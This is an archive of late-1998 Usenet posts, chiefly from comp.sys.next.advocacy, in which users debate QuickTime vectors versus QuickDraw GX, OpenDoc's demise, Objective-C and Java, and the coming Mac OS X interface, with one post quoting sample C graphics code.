call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
Date: 29 Nov 1998 00:13:55 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn7614e1.iq8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12> <73pg4r$49l@news1.panix.com>
NNTP-Posting-Date: 29 Nov 1998 00:13:55 GMT
On 28 Nov 1998 18:41:31 GMT, Sal Denaro <sal@panix.com> wrote:
:Why did Apple fight to keep QuickTime, but not fight to keep OpenDoc?
:
:My guess is that QT is a core asset, that brings in money (via licenses)
:and gives Apple both a presence and much needed credibility in the content
:creation market.
My guess is that QT is good, and that OpenDoc sucked.
QT stands tall next to RealNetworks and whatever MS spews this month.
OpenDoc was a cumbersome obsolete C and C++ based galumphing
Yet Another Bog Of Object API's To Rewrite Your Applications With Once You
Trash Everything Else, Without An Idiomatic OO Language To Help You.
It directly competed with MacOS Toolkit (Carbon), YellowBox, and JFC.
{Sure it did a little bit of stuff the others don't, but the reverse is
also true. }
And loses pathetically. Carbon wins with a significant base of
existing Mac developers, YB wins with maturity and technological
excellence and native language fluidity, JFC wins with technological
excellence and native language fluidity and industry support and rapid
progress and access to everything cool happening with networked
objects in the next 15 years.
Sometimes dead technologies deserve being dead.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "do || !do; try: Command not found"
* /sbin/yoda --help
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 28 Nov 98 17:38:00 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B285E5B9-2D60D@206.165.43.25>
References: <*johnnyc*-2811980722350001@jchristie.halifaxcable.dal.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
John Christie <*johnnyc*@or.psychology.dal.ca> said:
> It is true that because all of the layers of gx are not contained in
>the vector component API that a port from a GX drawing app to QT would
>require extensive work. However, to suggest that this is impossible (as
>you have) is without foundation. I was addressing that argument and you
>did not back it up. You simply moved over to saying QT vect. is less
>complete and not line by line compatible.
I never meant to say impossible, and in fact, I'm pretty sure that I did
not.
However, what I *DID* say was that it was quite difficult to create a
drawing app for QT vectors without using GX. So difficult that I doubt if
any Really Cheap vector utilities will appear any time soon, at least on
the MacOS side, because there wont be enough potential customers to justify
the expense of creating a GX-like drawing app out of the QT vector drawing
API.
Such a Really Cheap utility will be part of GXFCN simply because it is free
with GX: the GX codec in QT does the conversion for you and any scripted or
GUI-ed GX drawing, sans bitmap, can automatically be converted to QT
vectors via the sample code that I copied from the QT manual.
And you still haven't acknowledged the fact that a GX based wordprocessor
or drawing app creates identical shapes to QT vectors, AND is able to print
them out in a device-independent way. The transfer modes of GX and QT or
pretty much the same for vectors, and in fact, I can layer QT tracks of
just about any kind of visual media into a standard GX picture shape and
print it out while retaining device independence, perspective transform and
transparency, etc., modes. If eQD and YB graphics don't handle the graphics
modes of GX and QuickTIme, there will be no way of using them to print
device-independent QT movies.
Of course, only an idiot would ever want to do such a thing anyway...
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Subject: Re: Do I have this right?
Newsgroups: comp.sys.next.advocacy
References: <iSG72.15689$aF1.15849@typhoon-sf.snfc21.pbi.net> <iv_72.1710$CY1.7257627@news.itd.umich.edu>
In-Reply-To: <iv_72.1710$CY1.7257627@news.itd.umich.edu>
From: me@me.me
Message-ID: <e0182.16499$aF1.18446@typhoon-sf.snfc21.pbi.net>
Date: Sun, 29 Nov 1998 00:59:54 GMT
NNTP-Posting-Date: Sat, 28 Nov 1998 16:59:54 PDT
Organization: SBC Internet Services
On 11/28/98, "Jin Kim" wrote:
I like your responses.
>> - Java slowly replaces Objective-C, but both are technological
>> dinosaurs.
>
>Objective-C has been around for awhile. But I wouldn't say that it's
>technological dinosaur. In reality Objective-C is only onegeneration
>behind in computer programming language, if you want to be picky.
> And in that case, the cutting edge may belong to Java depending on
> your opinion.
IMO, dynamic languages are the future. Objective-C and Java support
some similiar and some different dynamic features. Neither is anywhere
near as dynamic as languages like Smalltalk, Self, NetwonScript,
Python or Lua. And both Objective-C and Java are stuck in the age of
the slow edit/compile cycle which makes them inappropriate for
companies operating on "internet time".
> This is all subjective of course. Java as language isn't any
> better than Objective-C in my opinion. And "write once, run
> anywhere" already existed
> via OpenStep. Just not hyped as much and worked better than Java.;)
I agree, OpenStep did a better job with multiplatform APIs.
VMs are a good idea though. I would have liked to have seen NeXT make
the transition from Objective-C to their own implementation of
Smalltalk. But machines weren't as fast in those days. The irony
is that now that machines are fast enough to comfortably run VMs,
we're stuck using VM's encrusted with the remants of non-VM based
technological development pathways.
Steve
From: Ashley Aitken <A.Aitken@curtin.edu.au>
Newsgroups: comp.sys.next.advocacy
Subject: MacOS X User Interface
Date: Sun, 29 Nov 1998 11:21:08 +0800
Organization: School of Information System, Curtin University
Message-ID: <3660BD9B.AE608983@curtin.edu.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 29 Nov 1998 03:20:34 GMT
My BIGGEST question about the Mac OS
X (less Server) interface is: Will it
1) Be more modifications to the
NeXT Workspace
2) Be a carbonized version of the Finder
3) Be a new Finder written with
the Yellow Box
I am hoping, and feel confident,
that it will be the latter option.
But then Apple's done some strange
stuff before.
With all the talk of docks and
shelves previously (especially
around the UI document leat) I
personally believe we will see a
Next Generation Finder in MacOS X.
The Finder for the new millenium.
Still of course, progressing from
the current Mac OS Finder, so the
Mac faithful will still feel at home.
Cheers,
Ashley Aitken.
--
Lecturer - Object Oriented Software Engineering
School of Information Systems,
Curtin Business School
Curtin University of Technology
(Bentley Campus)
GPO Box U 1987
Perth WA 6845
AUSTRALIA
Wb. http://www.cbs.curtin.edu/is/staff/aitken.htm
Em. A.Aitken@curtin.edu.au (Preferred)
Ph. +61-8-9266-7075
Fx. +61-8-9266-3076
Rm. 407.331
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MocOS X beta hovering on the horizon?
Date: 29 Nov 1998 05:01:21 GMT
Organization: Digital Fix Development
Message-ID: <73qkf1$hco$1@news.digifix.com>
References: <1dj3ezs.jix8xaj6qqjcN@port1-178.nordnet.fr> <1dj3gjk.ry49263zecyxN@p060.intchg2.net.ubc.ca> <73lapb$i5q$1@news.digifix.com> <1dj5613.llb9kuisu5agN@p008.intchg2.net.ubc.ca> <73ntu4$h5r$1@news.digifix.com> <1dj75yk.1cdcr9p1ps5wnvN@p011.intchg1.net.ubc.ca>
In-Reply-To: <1dj75yk.1cdcr9p1ps5wnvN@p011.intchg1.net.ubc.ca>
On 11/28/98, Bruce Bennett wrote:
>Scott Anguish <sanguish@digifix.com> wrote, in reference to the
>possibility that Mac OS X Server may be postponed so interminably as
to
>morph into Mac OS X:
>
>> What exactly do you call Steve's note to Don Crabb that he was
>> full of crap about it being cancelled?
>
>It's difficult to be exact about such statements. What exactly do you
>call Steve's proclamation, "Carbon -- all life forms depend on it"?
>
That would be the Mac OS developers of the past depending on
it.
They're a highly reactive bunch that need to be coddled.
>Sorry, couldn't resist. I too want Mac OS X Server to appear and the
>Yellow Box to prosper.
>
>--
>Bruce Bennett
>
>
>
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
and Apple's graphics)
Date: 29 Nov 98 01:04:36 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2864E26-6DB63@206.165.43.150>
References: <73pg4r$49l@news1.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Sal Denaro <sal@panix.com> said:
>
>>I think that it should be obvious that GX or any other universally
>>available Apple graphics technology that does more than what Adobe would
>>like is ALSO a forbidden technology.
>
>Then why isn't QT "forbidden technology"? Why did Apple keep AppleScript
>after MS ported VBA to MacOS?
There's no direct competition between QT and PS or any DTP app.
And there's no way of creating VB scripts on the Mac, last I heard.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Message-ID: <366094F1.484C0F7E@nstar.net>
Date: Sat, 28 Nov 1998 18:27:29 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12> <73pg4r$49l@news1.panix.com> <slrn7614e1.iq8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel wrote:
[cut]
> And loses pathetically. Carbon wins with a significant base of
> existing Mac developers, YB wins with maturity and technological
> excellence and native language fluidity, JFC wins with technological
> excellence and native language fluidity and industry support and rapid
> progress and access to everything cool happening with networked
> objects in the next 15 years.
Carbon wins because it's C, JFC wins because it's Java. YB loses because
it's Objective-C.
Carbon loses because it's old, JFC loses because it's uncommon, YB wins
because it's so kool.
And a thousand other comparisons based on metrics which, in and of
themselves, are completely irrelevant.
OpenDoc lost because of politics. QuickTime won because of politics.
Ultimately, Apple will lose because its managers are fundamentally
politicians.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 28 Nov 98 18:13:33 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2864C63-67158@206.165.43.150>
References: <F33vqt.386@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B28489C3-1FE34@206.165.43.169> "Lawson English" wrote:
>> One last little thing.
>
> In a 95 line message. That's not little.
>
>> Assuming that one already HAS a GX-based word-processor, page-layout
>>or drawing app
>
> Ahhh, all ten of them then. Let me ask you this, what GX based page
>layout program do you OWN and use professionally?
>
I'm writing one.
>> It's about 25 lines of code to convert the entire GX shape into a QT
>> vector.
>
> It's about 10 lines to turn english into Pig Latin.
non sequitur.
>
>> GX was designed to make it easy to create vector/bitmap/text-editing
>> apps. QT was NOT.
>
> "Easy" as in "several thousand pages of documentation that weighs about
>20 to30 pounds". Funny definition of "easy", that.
>
Easy as in easy. Anyone with any programming experience in Pascal can read
the GX documentation. It is redundant so that you don't have to hunt
everywhere for a definition (at least, I THINK that is the idea).
>> In other words, anyone who has a GX-based app has an
>> app that creates full-featured GX drawings with device independence,
>> while QT-based apps don't have printing capabilities and QT is NOT
>> designed for content-creation.
>
> Says you, which counts for basically nothing these days.
>
So, you're saying that QT *IS* designed for content creation?
Do you think that it is easier to use THIS API to create a drawing app:
+++++
gxShape aPathShape;
long pointsGeometry[] =
{ 1,
6,
0xb8000000,
ff(50), ff(100),
ff(0), ff(75),
ff(50), ff(50),
ff(150), ff(50),
ff(200), ff(75),
ff(150), ff(100)};
aPathShape = GXNewPaths((gxPaths*)&pointsGeometry);
GXSetShapeFill(aPathShape, gxOpenFrameFill);
//GXDrawShape(aPathShape); displays shape
//GXDisposeShape(aPathShape); disposes of it
+++++++
or THIS API:
++++++++++
ComponentInstance vectorCodec;
Handle streamH;
Handle pathH;
gxPoint points[6];
Boolean isOnCurve[6];
int i;
long value;
/* open the vector codec component */
OpenADefaultComponent (decompressorComponentType,
kVectorCodecType, &vectorCodec);
/* create a new vector data stream */
CurveCreateVectorStream (vectorCodec, streamH);
value=gxOpenFrameFill;
/* add an atom to the vector data stream that specifies that
subsequent paths are to be drawn with open frame fill */
CurveAddAtomToVectorStream (ci, kCurveFillTypeAtom, sizeof(long),
/* specify the points for the path and whether each one is
on the path */
points[0].x = ff(50);
points[0].y = ff(100);
isOnCurve[0] = TRUE;
points[1].x = ff(0);
points[1].y = ff(75);
isOnCurve[1] = FALSE;
points[2].x = ff(50);
points[2].y = ff(50);
isOnCurve[2] = TRUE;
points[3].x = ff(150);
points[3].y = ff(50);
isOnCurve[3] = TRUE;
points[4].x = ff(200);
points[4].y = ff(75);
isOnCurve[4] = FALSE;
points[5].x = ff(150);
points[5].y = ff(100);
isOnCurve[5] = TRUE;
/* create the path and add the points to it */
CurveNewPath (vectorCodec, &pathH);
for (i = 0; i <= 5; i++)
CurveInsertPointIntoPath (vectorCodec, &points[i], pathH,
1, i, isOnCurve[i]);
/* add the path to the vector data stream */
CurveAddPathAtomToVectorStream (vectorCodec, pathH, streamH);
/* mark the end of the vector data stream by adding a
kCurveEndAtom atom to the stream */
CurveAddZeroAtomToVectorStream (vectorCodec, streamH);
/* use the vector codec here to decompress and display the vector data */
/* dispose of stream and path handles when done */
DisposeHandle (streamH);
DisposeHandle (pathH);
++++++++++
>> WHy is this so difficult to understand?
>
> Because you're an idiot?
_ad hominem_ remarks are not called for.
>
>> GX is IDEAL for doing ALL forms of content creation, both for DTP and
>> multimedia.
>
> So are a hundred other things.
And these are available as a free programming library on the Mac?
>
>> QT vectors is a subset of GX that is useful ONLY for
>> playback.
>
> Wrong.
Again, which would you prefer to use to create a drawing app, the GX API or
the QuickTime vectors API?
>
>> Content-creation is HARD by comparison, and only works for
>> movies, not DTP.
>
> Like PS then.
>
Er, huh?
>> Making GX multi-media-only is a STUPID idea
>
> Ahhh, and you'd know I suppose, because of all those commercial GX based
>graphics apps you've written.
>
And you have written which commercial drawing apps in GX *AND* via the
QuickTIme vectors API?
>> half a brain.
>
> Excluding you then.
>
Brainless: that's my middle name...
>> It was designed for DTP and it is only because it is so
>> powerful that it can be trivialized to multi-media-only.
>
> Ahh yes, multimedia is trival in comparison to DTP! Ohhh, that one I'm
>saving!
When a graphics model is useful for multi-media AND desktop publishing, it
is trivializing it to limit it ONLY to multi-media.
Which is simply what I said above. Why do you insist on rewording
everything that I say to make me sound stupid?
[prediction: Maury won't be able to pass the above up and will make some
juvenile remark about my own stupidity. Note that I have avoided ANY _ad
hominem_ remarks in this exchange).
>
> Useless source code snipped.
Useless in what sense?
In the sense that you have no use for it?
In the sense that it allows me to create a QuickTime vector using a simple
function call from within GXFCN so that a $10 utility can create
cutting-edge vector graphics for QuickTime?
In the sense that it shows that your claims are wrong?
Which sense?
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12> <73pg4r$49l@news1.panix.com> <slrn7614e1.iq8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <366094F1.484C0F7E@nstar.net>
Message-ID: <36610f3e.0@news.depaul.edu>
Date: 29 Nov 98 09:09:18 GMT
In comp.sys.next.advocacy Michael J. Peck <mjpeck@nstar.net> wrote:
> OpenDoc lost because of politics. QuickTime won because of politics.
> Ultimately, Apple will lose because its managers are fundamentally
> politicians.
QuickTime won because it was actually useful; developers and end users
were quick to grasp this, even in the beginning. On the other hand, Apple
never successfully made a case for OpenDoc; they never came up with
a good, simple reason why the customer would use OpenDoc.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: alan_spamMeNot_baker@ultranet.ca (Alan Baker)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sun, 29 Nov 1998 01:43:55 -0800
Organization: bakerMEDIA
Message-ID: <alan_spamMeNot_baker-2911980143560001@vanc07m03-173.bctel.ca>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com> <cirby-2311981230320001@pm53-43.magicnet.net> <73cqgm$a85$1@bunyip.cc.uq.edu.au> <cirby-2311981829260001@pm56-03.magicnet.net> <365B0CAD.67D67710@spamtoNull.com> <365DAB9C.A25EEFE5@rocketmail.com>
In article <365DAB9C.A25EEFE5@rocketmail.com>, Peter_Ammon@rocketmail.com wrote:
> Ahem. Give me a non-buzzword compliant computer that works well over a
> buzzword compliant one that doesn't. Even without protected memory, the
Mac OS
> is quite stable; even without PMT I rarely have trouble with background tasks
> not completing. And, might I add, the PC users were quoted with such gems as
> "I hate clicking on icons" until Windows came out, at which point
"Windows made
> the computer accesible to everyone;" stop projecting your history of sour
> grapes onto Mac users.
And how about:
Who needs multiple monitor support?
--
Alan Baker
bakerMEDIA
Vancouver British Columbia
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: Sun, 29 Nov 1998 02:28:43 -0800
Content-Transfer-Encoding: 7bit
References: <3660BD9B.AE608983@curtin.edu.au>
Content-Type: text/plain; charset=us-ascii
Organization: EarthLink Network, Inc.
Mime-Version: 1.0
Message-ID: <366121D4.6811@earthlink.net>
Ashley Aitken wrote:
> With all the talk of docks and
> shelves previously (especially
> around the UI document leat) I
> personally believe we will see a
> Next Generation Finder in MacOS X.
> The Finder for the new millenium.
> Still of course, progressing from
> the current Mac OS Finder, so the
> Mac faithful will still feel at home.
And I hope as an "option", there will be a NeXT style File Viewer (with
browser mode), a shelf of somekind, and someone's great shareware of a
NeXT style dock that will make the NeXT faithful and those brave and
adventurous Mac souls feel at home!
Steve
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: Simon Hosie <gumboot@gkvktj.no.circulars>
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
User-Agent: tin/pre-1.4-971106 (UNIX) (Linux/2.0.34 (i686))
Sender: gumboot@no.circulars (Simon Hosie)
Organization: .
Message-ID: <F36nsK.Esu@no.circulars>
References: <7329lg$ot0$1@nnrp02.primenet.com> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi> <w0bzp9fcwev.fsf@mah21awu.YP.sparcm1> <365d0cb6.0@uni-wuerzburg.de> <367e4dcf.58109014@nntp.ix.netcom.com>
Date: Sun, 29 Nov 1998 12:24:20 GMT
NNTP-Posting-Date: Mon, 30 Nov 1998 02:19:09 NZDT
John Sheehy:
> Most serious users, not most PCs. Most PCs in active use probably are
> closer to 32 megs.
Here in NZ they come out of shops with about 32Mb (I still see some
advertised with 16), so it's fair to assume laypeople and those with lives
will have about that much. People that buy PCs just to play games seem to
have between 64 and 128Mb.
Personally, the only reason I'm not still running my 486 is because it
wouldn't accept 64Mb.
--
# Please try to quote no more than you need to show the context of your post.
#
# email: Gumboot, at an ISP named Clear.Net, in New Zealand.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 29 Nov 1998 15:04:51 GMT
Organization: AOL http://www.aol.com
References: <366121D4.6811@earthlink.net>
Message-ID: <19981129100451.01040.00000032@ng-cg1.aol.com>
My understanding is that they've already done a file browser, but unfortunately
have made the desktop a valid drag and drop target which does away with the
nicety of having a shelf which is clickable to take one to a given spot in the
file system, with the void of a desktop into which one drops items one wishes
to remove from the shelf.
Fiend.app has already been ported, so that goes a long way towards a dock
replacement, and there's also a Spectre.app program,
http://www.object-factory.com/~erik/Spectre/ for Openstep for Enterprise.
Unfortunately, it seems to me that the pristine, elegant NeXT interface is
getting obscured by unneccessary Mac elements, and the result while possibly
nicer than the Mac UI (which saw not improvements between 1984 and 1995, see
Jobs' quote on this in Byte, Sept. 1995, and little enough since then) will
pale beside the austere elegance of the NeXT UI.
However, this has all been discussed into the ground in the past--see
www.dejanews.com.
All I want is clean bevels, sharp corners, an over-loaded, draggable minimize
button, a desktop void, a file browser with clickable shelf (tabs would be nice
here), services and all of the self-contained NeXT apps (Webster's, Oxford's
Shakespeare, TeXView, etc.).
I do not want the Mac Finder which I gave up years ago, nor an interface
cluttered with needless ornamentation. Fortunately, GNUstep is progressing
nicely.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12> <73pg4r$49l@news1.panix.com> <slrn7614e1.iq8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <366094F1.484C0F7E@nstar.net> <36610f3e.0@news.depaul.edu> <3661612E.EA4077D1@nstar.net>
Message-ID: <36621114.0@news.depaul.edu>
Date: 30 Nov 98 03:29:24 GMT
In comp.sys.next.advocacy Michael J. Peck <mjpeck@nstar.net> wrote:
> Jonathan W Hendry wrote:
> > QuickTime won because it was actually useful; developers and end users
> > were quick to grasp this, even in the beginning. On the other hand, Apple
> > never successfully made a case for OpenDoc; they never came up with
> > a good, simple reason why the customer would use OpenDoc.
> Fair enough. Explain to me how Apple is applying this lesson to
> Rhapsody.
A) Apple had a hard time making a case for YellowBox when ISV's
were trying to decide whether to keep supporting the Mac at all.
More investment wasn't what they were interested in.
B) Apple found that a hard YellowBox/BlueBox split was not terribly
attractive to users - it's kind of like using a Mac in place
of a PC with SoftPC, when you use 90% Windows software, and
very little Mac software.
C) Despite these severe problems, some aspects of Rhapsody were
still attractive to customers and developers. Not attractive
enough to counteract A & B, but the advantages that did exist
were easy to explain to users: 'doesn't crash'.
D) Apple canned what they were calling 'Rhapsody', added Carbon,
renamed it MacOS X, fixing the deficiencies in Rhapsody. The
new approach is well-received, because the benefits
Even if Apple *had* tried to re-engineer OpenDoc, and were able
to fix all the implementation problems, the 'benefits'
would still be hard (perhaps impossible) to get across to the
users and third party developers.
As such, IMHO, killing it was the right decision, though it's
a good idea for them to keep the source code for poaching
good ideas for use elsewhere.
Message-ID: <3661612E.EA4077D1@nstar.net>
Date: Sun, 29 Nov 1998 08:58:54 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12> <73pg4r$49l@news1.panix.com> <slrn7614e1.iq8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <366094F1.484C0F7E@nstar.net> <36610f3e.0@news.depaul.edu>
Content-Type: text/plain; charset=us-ascii
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Jonathan W Hendry wrote:
> QuickTime won because it was actually useful; developers and end users
> were quick to grasp this, even in the beginning. On the other hand, Apple
> never successfully made a case for OpenDoc; they never came up with
> a good, simple reason why the customer would use OpenDoc.
Fair enough. Explain to me how Apple is applying this lesson to
Rhapsody.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
and Apple's graphics)
Date: 29 Nov 98 09:47:08 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B286C89F-7F68@206.165.43.190>
References: <36610f3e.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>
>QuickTime won because it was actually useful; developers and end users
>were quick to grasp this, even in the beginning. On the other hand, Apple
>never successfully made a case for OpenDoc; they never came up with
>a good, simple reason why the customer would use OpenDoc.
Which is why Cyberdog is still in the top 3-5 webbrowsers on ALL platforms.
And why Bill Gates "short list" of things that he didn't want Netscape to
be using on the client-side of the Internet was OpenDoc and nothing else.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: mark@ns1.oaai.com (Mark Onyschuk)
Subject: Re: The future of OS X Server is bleak
Message-ID: <slrn7633j1.lcl.mark@ns1.oaai.com>
Sender: news@T-FCN.Net
Organization: M. Onyschuk and Associates Inc.
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net> <365EE279.D5E5A5F2@ericsson.com> <F33HG5.Lw1@T-FCN.Net> <365F1BD0.55ED9D2E@ericsson.com> <slrn75ui2n.gk2.mark@ns1.oaai.com> <365F8F48.866F3FEB@nstar.net>
Date: Sun, 29 Nov 1998 18:10:10 GMT
In article <365F8F48.866F3FEB@nstar.net>, Michael J. Peck wrote:
>> No it's not a failure. But it sure is a compromise and perhaps this is the
>> way that it has to be in order that it is sucessful.
>
>Okay, I apologize and take back any condescension in the rest of my
>posting. Quite simply, in my opinion the above is almost certainly true
>and there's no point fighting it.
I don't know, maybe it's just me but I'd probably appreciate more that
you'd actually eliminate the condescension in the rest of your post, rather
than bury a retraction here towards the end of your reply.
Mark
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 29 Nov 1998 20:14:35 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73s9vb$1lo@news1.panix.com>
References: <73pg4r$49l@news1.panix.com> <B2864E26-6DB63@206.165.43.150>
<<followup trimmed to *.advocacy>>
On 29 Nov 98 01:04:36 -0700, Lawson English <english@primenet.com> wrote:
>>>I think that it should be obvious that GX or any other universally
>>>available Apple graphics technology that does more than what Adobe would
>>>like is ALSO a forbidden technology.
>>Then why isn't QT "forbidden technology"? Why did Apple keep AppleScript
>>after MS ported VBA to MacOS?
>There's no direct competition between QT and PS or any DTP app.
There is direct competition between QT and a number of Microsoft products.
Why hasn't Apple given up on QT?
We have proof that MS wanted QT to get killed, why did Apple fight for QT
but give up on GX, OpenDoc and PowerTalk?
>And there's no way of creating VB scripts on the Mac, last I heard.
Is this true? I find it hard to believe that MS wouldn't ship the VBA editor
as part of Office98 for the Mac.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 29 Nov 1998 20:14:34 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73s9va$1lo@news1.panix.com>
